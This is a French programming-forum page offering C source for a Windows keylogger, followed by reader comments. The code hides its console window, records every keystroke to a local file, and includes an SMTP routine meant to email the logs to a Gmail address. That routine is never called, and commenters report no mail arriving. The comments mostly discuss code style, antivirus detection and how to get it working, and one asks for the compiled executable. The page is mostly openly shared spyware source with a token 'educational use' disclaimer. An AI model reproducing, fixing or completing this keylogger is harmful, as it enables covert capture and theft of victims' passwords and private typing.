begin process at 2012 02 13 00:59:03
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Divers

 > KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)

KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)


 Information sur la source

Note :
7,5 / 10 - par 4 personnes
7,50 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Divers Classé sous :keylogger, mail, envoie, clavier, touchesascii Niveau :Initié Date de création :04/10/2006 Vu :37 119

Auteur : kerneltony95

Ecrire un message privé
Site perso
Commentaire sur cette source (40)
Ajouter un commentaire et/ou une note

 Description

Ce code est une amélioration d'un code que j'ai trouvé sur cpp france
il logue la plus part des touches du clavier sans aucun Hook !
et envoie par mail sur server SMTP port 25

/!\
n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci !
/!\

Source

  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <windows.h>
  • #include <winuser.h>
  • #include <windowsx.h>
  • #include <time.h>
  • int MailIt (char *mailserver, char *emailto, char *emailfrom,
  • char *emailsubject, char *emailmessage);
  • #define BUFSIZE 800
  • #define waittime 500
  • /*tapper :
  • "nslookup -querytype=mx gmail.com" dans la console msdos
  • si vous souhaitez avoir les serveurs SMTP à jour*/
  • #define cmailserver "gmail-smtp-in.l.google.com"
  • #define cemailto "toi@gmail.com"
  • #define cemailfrom "destinataire@gmail.com"
  • #define LogLength 100
  • #define FileName "sound.wav"
  • #define SMTPLog "ring.wav"
  • #define cemailsubject "Logged"
  • int isalt(); //savoir si alt est pressé
  • int ismajpressed(); //savoir si shift est pressé
  • int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
  • void TraiterLettre(int lettre);
  • int majuscule; //savoir si le clavier est en mode caps lock
  • FILE *sortie;
  • char fichier[256];
  • int main(int argc, char *argv[])
  • {
  • //on masque
  • HWND hwnd = GetForegroundWindow() ;
  • ShowWindow(hwnd,SW_HIDE);
  • int i, lettre, result, lastresult, lastletter, compteur;
  • GetCurrentDirectory(256, fichier);
  • strcat(fichier,"\\fichierlog.txt");
  • sortie = fopen(fichier,"w+");
  • result=0;
  • compteur=0; //on initialise
  • lastresult=0;
  • i=0;
  • while ( i==0 ) { //boucle sans fin
  • lettre=13;
  • for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
  • result=GetKeyState(lettre);
  • //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
  • if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
  • if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
  • if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
  • {
  • TraiterLettre(lettre);
  • lastresult=result;
  • lastletter=lettre;
  • lettre=13;
  • Sleep(50);
  • }
  • } //fin de test des lettres
  • Sleep(1);
  • } //fin de la boucle sans fin
  • return 0;
  • }
  • int ismaj() {
  • if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
  • return 1;
  • else return 0;
  • }
  • int ismajpressed() {
  • int result;
  • result=GetKeyState(VK_SHIFT );
  • if ( ( result==-127 ) || ( result==-128 ) ) return 1;
  • else return 0;
  • }
  • int isalt() {
  • int result;
  • result=GetKeyState(VK_MENU );
  • if ( ( result==-127 ) || ( result==-128 ) ) return 1;
  • else return 0;
  • }
  • void TraiterLettre(int lettre) {
  • char towrite; //la lettre que l'on va écrire dans la console
  • static int compteur = 0;
  • //traitement des chiffres ( un décalage )
  • if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
  • //Les lettres sont envoyées comme majuscules, il faut faire un décalage
  • else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
  • //Sinon on écrit telle quelle la lettre
  • else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
  • else switch ( lettre ) {
  • case VK_MENU:
  • fprintf(sortie,"<alt>",towrite);
  • break;
  • case VK_BACK:
  • fprintf(sortie,"<delete>",towrite);
  • break;
  • case VK_DELETE:
  • fprintf(sortie,"<Suppr>",towrite);
  • break;
  • case 9:
  • fprintf(sortie,"<TAB>",towrite);
  • break;
  • case VK_CONTROL:
  • fprintf(sortie,"<ctrl>",towrite);
  • break;
  • case 49 : if( ismaj() ) towrite='1';
  • else towrite='&';
  • break;
  • case 50 : if ( ismaj() ) towrite='2';
  • else towrite='é';
  • break;
  • case 51 : if ( ismaj() ) towrite='3';
  • else towrite='"';
  • break;
  • case 52 : if ( ismaj() ) towrite='4';
  • else towrite= '"';
  • break;
  • case 53 : if ( ismaj() ) towrite='5';
  • else towrite='(';
  • break;
  • case 54 : if ( ismaj() ) towrite='6';
  • else towrite='-';
  • break;
  • case 55 : if ( ismaj() ) towrite='7';
  • else towrite='è';
  • break;
  • case 56 : if ( ismaj() ) towrite='8';
  • else towrite='_';
  • break;
  • case 57 : if ( ismaj() ) towrite='9';
  • else towrite='ç';
  • break;
  • case 48 : if ( ismaj() ) towrite='0';
  • else towrite='à';
  • break;
  • case 187 : if( ismaj() ) towrite='=';
  • else towrite='+';
  • break;
  • case 186 : if ( ismaj() ) towrite='£';
  • else towrite='$';
  • break;
  • case 192 : if ( ismaj() ) towrite='%';
  • else towrite='ù';
  • break;
  • case 188 : if ( ismaj() ) towrite='?';
  • else towrite=',';
  • break;
  • case 190 : if ( ismaj() ) towrite='.';
  • else towrite=';';
  • break;
  • case 191 : if ( ismaj() ) towrite='/';
  • else towrite=':';
  • break;
  • case 32 : if ( isalt() ) towrite=' ';
  • else towrite=' ';
  • break;
  • case 219 : if ( isalt() ) towrite=']';
  • else towrite=')';
  • break;
  • case 223 : towrite='!';
  • break;
  • case 111 : towrite='/';
  • break;
  • case 106 : towrite='*';
  • break;
  • case 109 : towrite='-';
  • break;
  • case 107 : towrite='+';
  • break;
  • case 110 : towrite='.';
  • break;
  • }
  • // On affiche les lettres dans le log
  • if ( lettre==13 ) fprintf(sortie,"\n");
  • else fprintf(sortie,"%c",towrite);
  • compteur++;
  • if ( compteur==2 ) {
  • fclose(sortie);
  • fopen(fichier,"a");
  • compteur=0;
  • }
  • }
  • int MailIt (char *mailserver, char *emailto, char *emailfrom,
  • char *emailsubject, char *emailmessage) {
  • SOCKET sockfd;
  • WSADATA wsaData;
  • FILE *smtpfile;
  • #define bufsize 300 // taille du fichier pour l' envoie
  • int bytes_sent;
  • int err;
  • struct hostent *host; /* gethostbyname */
  • struct sockaddr_in dest_addr; /* adresse de l'hote */
  • char line[1000];
  • char *Rec_Buf = (char*) malloc(bufsize+1);
  • smtpfile=fopen(SMTPLog,"a+");
  • if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  • fputs("WSAStartup failed",smtpfile);
  • WSACleanup();
  • return -1;
  • }
  • if ( (host=gethostbyname(mailserver)) == NULL) {
  • perror("gethostbyname");
  • exit(1);
  • }
  • memset(&dest_addr,0,sizeof(dest_addr));
  • memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  • /* Prepare dest_addr */
  • dest_addr.sin_family= host->h_addrtype;
  • dest_addr.sin_port= htons(25); /* PORT */
  • if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  • perror("socket");
  • exit(1);
  • }
  • /* Connection !*/
  • fputs("Connecting....\n",smtpfile);
  • if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  • perror("connect");
  • exit(1);
  • }
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"helo me.somepalace.com\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"MAIL FROM:<");
  • strncat(line,emailfrom,strlen(emailfrom));
  • strncat(line,">\n",3);
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"RCPT TO:<");
  • strncat(line,emailto,strlen(emailto));
  • strncat(line,">\n",3);
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"DATA\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • Sleep(waittime);
  • strcpy(line,"To:");
  • strcat(line,emailto);
  • strcat(line,"\n");
  • strcat(line,"From:");
  • strcat(line,emailfrom);
  • strcat(line,"\n");
  • strcat(line,"Subject:");
  • strcat(line,emailsubject);
  • strcat(line,"\n");
  • strcat(line,emailmessage);
  • strcat(line,"\r\n.\r\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"quit\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • fclose(smtpfile);
  • #ifdef WIN32
  • closesocket(sockfd);
  • WSACleanup();
  • #else
  • close(sockfd);
  • #endif
  • }
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*tapper : 
"nslookup -querytype=mx gmail.com"  dans la console msdos
si vous souhaitez avoir les serveurs SMTP à jour*/
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "toi@gmail.com"
#define cemailfrom "destinataire@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);

int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];

int main(int argc, char *argv[])
{
    //on masque 
    HWND hwnd = GetForegroundWindow() ;
    ShowWindow(hwnd,SW_HIDE);  
    
int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"\\fichierlog.txt");
 sortie = fopen(fichier,"w+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
   
result=GetKeyState(lettre);
  
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); 
   lastresult=result;
   lastletter=lettre;
   lettre=13; 
   Sleep(50);
   }
   
 } //fin de test des lettres
    Sleep(1);
 } //fin de la boucle sans fin
  
  return 0;
}

int ismaj() {
    
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }

int ismajpressed() {
    int result;
    
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
    
int isalt() {
    int result;
    
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }

void TraiterLettre(int lettre) {
    
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
     
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48; 
    
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
     
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
     
     else switch ( lettre ) {
         
         
        case VK_MENU:
		fprintf(sortie,"<alt>",towrite);
		break;
  
      
        case VK_BACK:
		fprintf(sortie,"<delete>",towrite);
		break;

     
          
        case VK_DELETE:
	    fprintf(sortie,"<Suppr>",towrite);
		break;
          
            case 9:
		fprintf(sortie,"<TAB>",towrite);
		break;
		
		

        case VK_CONTROL:
		fprintf(sortie,"<ctrl>",towrite);
		break;
          
         
         case 49 : if( ismaj() ) towrite='1';
          else   towrite='&'; 
          break;		
		
          case 50 : if ( ismaj() ) towrite='2'; 
          else   towrite='é';
          break;
           
          case 51 : if ( ismaj() ) towrite='3';
          else towrite='"'; 
          break;
         
          case 52 : if ( ismaj() ) towrite='4';
          else towrite= '"'; 
          break;
          
          case 53 : if ( ismaj() ) towrite='5';
          else towrite='('; 
          break;
          
          case 54 : if ( ismaj() ) towrite='6';
          else towrite='-'; 
          break;
         
          case 55 : if ( ismaj() ) towrite='7';
          else towrite='è'; 
          break;
         
               
          case 56 : if ( ismaj() ) towrite='8';
          else towrite='_'; 
          break;
           
           
         case 57 : if ( ismaj() ) towrite='9';
         else towrite='ç'; 
         break;
           
         case 48 : if ( ismaj() ) towrite='0';
           else towrite='à';
           break;
           
         case 187 : if( ismaj() ) towrite='=';
            else  towrite='+'; 
               break;
           
           case 186 : if ( ismaj() ) towrite='£';
           else towrite='$'; 
               break;
           
           case 192 : if ( ismaj() ) towrite='%';
            else  towrite='ù'; 
               break;
           
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=','; 
               break;    
          
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';'; 
               break;
           
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':'; 
               break;
         
         
           case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          
      
         
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')'; 
               break;
          
           
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;         
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;     
          }
     
    
     // On affiche les lettres dans le log
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
  
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300 // taille du fichier pour l' envoie
    int bytes_sent;   
    int err;
    struct hostent *host;   /* gethostbyname */
    struct sockaddr_in dest_addr;   /* adresse de l'hote */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  
     dest_addr.sin_port= htons(25); /* PORT  */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connection !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}

 Conclusion

j'ai compilé avec dev c++ libraire à ajouter : lws2_32

il y a certainement encore quelques bugs ou quelques problemes au niveau de l'envoie.

au niveau du log des touches tout me semble correct.

si vous faite des modif ou l'améliorer tenez moi au courant plz !


 Sources du même auteur

Source avec Zip Source avec une capture KEYLOGGER HOOK CLAVIER (SANS DLL)

 Sources de la même categorie

Source avec Zip ÉDITEUR DE RECTANGLES EN CONSOLE par seoseo
CONVERSION DE FICHIER EN FICHIER BMP par seoseo
Source avec Zip DETECTEUR EJP par idpro
Source avec Zip Source avec une capture SHOP MANAGER CONSOLE SUR WINDOWS par antho974
Source avec Zip JOUR DE NAISSANCE par fredg19

 Sources en rapport avec celle ci

Source avec Zip KEYLOGGER AVEC NOM DU PROCESSUS ET DE LA FENETRE QUI A LE FO... par wisar
QWERTY - AZERTY AVEC SDL, UNE ALTERNATIVE par Scheb
Source avec Zip KEYLOGGER INVISIBLE par f_l_a_s_h_b_a_c_k
Source avec Zip Source avec une capture MOUSECONTROL par NeoUmbrella
Source avec Zip Source avec une capture KEYLOGGER HOOK CLAVIER (SANS DLL) par kerneltony95

Commentaires et avis

Commentaire de BruNews le 04/10/2006 11:10:29 administrateur CS

Un keylogger est normalement un prog espion donc pas de console ni quoi que ce soit d'autre à l'écran.

Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langages interprétés pour cause qu'ils ne peuvent pas faire de prog système.

strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source.

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots.

Commentaire de kerneltony95 le 04/10/2006 11:27:44

"Un keylogger est normalement un prog espion donc pas de console ni quoi que ce soit d'autre à l'écran."

déja premierement perso quand j' execute le .exe la console est caché
chez moi et donc discret ...

Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langages interprétés pour cause qu'ils ne peuvent pas faire de prog système

2 -> rien ne t' empêche de l'améliorer "si t' es si fort" (je programme pour le fun j'adore ça, j'ai tous apris tous seul ce n'es pas mon métier
je n'est suivie aucune étude en codage)

3 -> strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source

(tu as certainement raison)

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots

et encore une fois "si tu es si fort" aide moi à l'améliorer au lieu de critiquer sinon passe ton chemin

++

ps : j'aime partager mes connaissance, ce site est trés bien pour l'entraide et l'open source, donc si vous venez critiquer au lieu d' apporter votre aide ou discuter sur la source, passez votre chemin merci ...

Commentaire de goutbouyo le 04/10/2006 13:09:17

Faut pas être suceptible comme ça ... BruNews te donne juste son avis et des conseils avisés.

Commentaire de aardman le 04/10/2006 14:15:52

kerneltony95> Quand on accepte pas les critiques... on poste pas.

Commentaire de kerneltony95 le 04/10/2006 14:25:05

ba aider au lieu de critiquer ...

Commentaire de econs le 04/10/2006 14:54:58 administrateur CS

Cet emplacement est justement réservé aux critiques (bonnes ou mauvaises). L'aide vient plus tard. BruNews te propose des axes d'améliorations. Si tu ne comprends pas ou n'y arrive pas seul, alors seulement à ce moment là, l'aide peut venir. Mais il faut le demander. On ne va pas aider des gens qui n'en font pas la demande.

Commentaire de kerneltony95 le 04/10/2006 15:09:05

arretons les malentendus !

j' accepte la critique mais c'est la maniére dont c'est dit
qui ma paru insolente mais bon oublions ...

et apportez votre aide si vous voulez bien !

:)

Commentaire de ncoder le 04/10/2006 15:48:03

Alors je propose un seul sprintf au lieu de 1 strcpy et 10 strcat

Plus rapide ...

Commentaire de deck_bsd le 04/10/2006 16:46:02

"si t' es si fort" ;) tu connais pas BruNews toi ;)lol . Pourquoi ne fais-tu pas un hook, c'est tjrs mieu que une boucle :s et c'est pas si dure que ça . Tu devrai esseyer. Par contre l'envoie par mail est pas mal :D

Commentaire de kerneltony95 le 04/10/2006 19:59:27

ui j'ai vu les programme de brunews et j' avoue ya du niveau ^^
eu ué pk pas mais j'arrive pas à recevoir le mail il dois avoir une erreur quelque part, et je ne comprends pas ou tous simplement gmail filtre

merci pour les conseil .

Commentaire de jean84 le 04/10/2006 22:04:58

Petit truc sympa egalement : quitte a faire de la prog en utilisant les API win32, essaye de tout "conformiser" (je sais pas si sa se dit). En bref n'utilise pas d'API de la lib standard (pas que ce n'est pas bien mais c'est mieux de tout faire en win32 - notement les fichiers) !
Et c'est clair que les hook, c'est quand meme plus propre !
Sinon bien, y a de bonnes idees sauf le
"/!\
n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci !
/!\ "
qui est un peu de trop... c'est un code pas hyper dangereux en soi et si sa l'avait l'ete, sa aurait degage direct alors...

@++

Commentaire de kerneltony95 le 05/10/2006 00:19:04

ui c'est clair que les hook sont plus propres, mais je l'ai fais pour m'amuser puis si sa peut aider tant mieu, n' hesitez pas si vous avez des idées pour l' améliorer ! surtout au niveau de l' envoi

Commentaire de izor le 06/10/2006 15:23:59

[BruNews]
strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source.

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots.
[/BruNews]

En utilisant des fonctions comme strcpy ou strcat tu t'exposes à des risques de sécurité pour le moins dérangeant, alors est-ce que ca ne vaut pas le coup de perdre un peu de rapidité pour gagner en fiabilité ?

Et si tu tiens absolument à ne pas utiliser strncat il faudrait tailler le buffer en conséquence, et ce avant d'effectuer la concaténation.

Commentaire de BruNews le 06/10/2006 15:35:33 administrateur CS

Je ne tiens à rien de particulier à part que ce soit cohérent:
strncat(line,emailto,strlen(emailto));
il faudrait une constante max en 3eme param ou au moins une variable calculée.
Ici équivaut exactement à strcat(line,emailto); MAIS avec 2 fois le parcours de emailto, je ne vois pas en quoi la sécurité a progressé du moindre iota.

Commentaire de izor le 06/10/2006 16:20:30

Je suis d'accord avec toi qu'il faudrait une constante maximum en 3ème paramétre.
L'utilisation normale est de définir une constante de taille pour le buffer et d'ensuite l'utiliser comme argument, ce qui donne:
char line[MAX_SIZE];
strncat(line,emailto,MAX_SIZE);
(en se rappelant que si emailto est plus grande que MAX_SIZE il faudra rajouter soi-même le \0 de fin de chaîne.)

la différence avec strcat dans ce cas là est qu'il ne peut pas y avoir de dépassement de buffer et donc pas de problèmes type buffer overflow.

Commentaire de izor le 06/10/2006 16:23:14

strncat(line,emailto,MAX_SIZE-1);

j'avais oublié le -1 ^^

Commentaire de StanOfSky le 07/10/2006 22:49:57

Bonjour à tous ^^

Mon commentaire est en rapport avec la première réponse de Brunews.

Même si BruNews participe beaucoup et apporte beaucoup à CPPfrance, il peut néanmoins rester diplomate dans ses réponses.
Je ne suis pas un habitué et je dois avouer que sa réponse m'a paru assez déplacée même si elle n'a à priori choqué personne.
Tout ca pour dire qu'une bonne ambiance fait toujours mieux avancer les choses que des réponses désobligeantes ^^

En revanche, comme je l'ai vu jusuqu'à présent, Brunews fait une remarque sur le nombre de cycle d'exécution d'une instruction ^^ Il est tout à fait vrai qu'il est bon de corriger ce genre d'erreur assez tôt et de faire attention à économiser son CPU, néanmoins un bon programme ne se mesure pas au nombre de cylce, ni à la taille de l'exécutable ^^ Et il est parfois interessant d'avoir un code source lisible (et débuggable) au détriment d'un tout petit peu de performance, nest ce pas Brunews ^^

Commentaire de BruNews le 08/10/2006 01:59:05 administrateur CS

Faites bien gaffes aux performances, elles ont une facheuse tendance à se répercuter sur la fiche de paie.
En privilégiant debug et lisibilité (qui n'est somme toute qu'habitude), nombre de boites ne font plus faire leurs produits qu'en interprétés. On les comprens aisément quand on lit de tels propos, autant payer du personnel peu qualifié à perfs voisines.

Commentaire de kerneltony95 le 08/10/2006 20:58:47

merci pour ton soutient stanofscan, c'est clr que lorsque quelqu' un poste une source c'est pour faire partager, aider, inspirer et donner des idées pas pour se faire remballer :


"Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots. "

avec ce genre de réponse dans ce cas autant rien poster, mais comme je l'ai dis plus haut passons et puis c' est en faisant des erreur que l' on progresse !

merci pour vos conseil je vais les prendre en compte dans mes futur codes :)

Commentaire de kerneltony95 le 08/10/2006 21:06:39

ps : dsl pour avoir ecorché ton pseudo ^^ stanofsky

Commentaire de st3fn le 20/05/2007 23:18:39

Bonjour, j'ai testé et j'aurai voulu quand est-ce que le mail est envoyé?

Commentaire de skybuster le 06/01/2008 13:38:31

Personellement je l'ai testé et je ne reçois pas de mail.
Je ne trouve pourtant pas de problème dans le code.
J'utilise le smtp de gmail ainsi que mon adresse de gmail. Serait-ce le smtp de gmail qui filtre ?

Commentaire de seboy1 le 23/01/2008 15:55:28

J'utilise gmail aussi et je ne reçois pas de mail...
Quand est-il envoyé?

Commentaire de kiki67100 le 30/01/2008 14:43:45 5/10

Sinon tu pouvais utiliser sprintf() pour l'envoie de requette SMTP au serveur c'est moins chiant

Commentaire de YOUSSEFJOUS le 23/09/2008 19:40:27

par contre ton keylogger est détécté par l'un des antivirus les plus pouri c'est a dire avast

Commentaire de Greyg le 20/12/2008 14:48:02

Salut suis un peu en naab on en fais quoi de ton code le keylogger on le complete?si oui on complete quoi? et comment on l'envoit

Commentaire de Lacoste3133 le 09/05/2009 22:47:09

Salut, Jolie sources (seul keylogger du site qui compil chez moi d'ailleurs. Je fait probablemment quelque chose de mal)

Juste un petit bémol, les caractère dans le log ce répète dans le log... C'est bien dommage :)

Commentaire de fundead29 le 16/05/2009 20:47:40

bonjour a tous...
lorsque je compile le programme, une erreur est détectée alors que tout le monde n'en trouve pas... est ce normal ? par ailleurs, le probleme de mail non envoyé est il resolu ?
quelqu'un pourrait il m'envoyer l'exe  a ladresse suivante: fundead@hot.fr
Merci d'avance a vous

Commentaire de Malefic91 le 30/01/2010 18:56:53

mon IDE (visual studio 2008) me renvoi cette ereur :

'GetCurrentDirectoryW' : cannot convert parameter 2 from 'char' to 'LPWSTR'

quelqun peut m' aider ?

Commentaire de BruNews le 30/01/2010 19:37:48 administrateur CS

Enleve UNICODE des parametres de la compilation.

Commentaire de romar02 le 05/06/2010 15:45:39

Bonjour,
j'ai un projet de se type pour in cour de BTS.
Je n'arrive pas a trouver lws2_32.
A quelle programme faut t'il le compiler Dev c++ est asser vieux .
Quelqu'un pourrai m'aider ?
Merci

Commentaire de BruNews le 05/06/2010 18:35:18 administrateur CS

Il est même carrément obsolète.
Du code Windows se compile avec VC++.

Commentaire de romar02 le 05/06/2010 18:58:49

Oui j'ai essayer ;)
Mais aucun email envoyer d'ou vien le problème ?
Ricoxor@hotmail.fr
Contact moi s'il te plait :/

Commentaire de loverotten le 11/06/2010 05:40:16

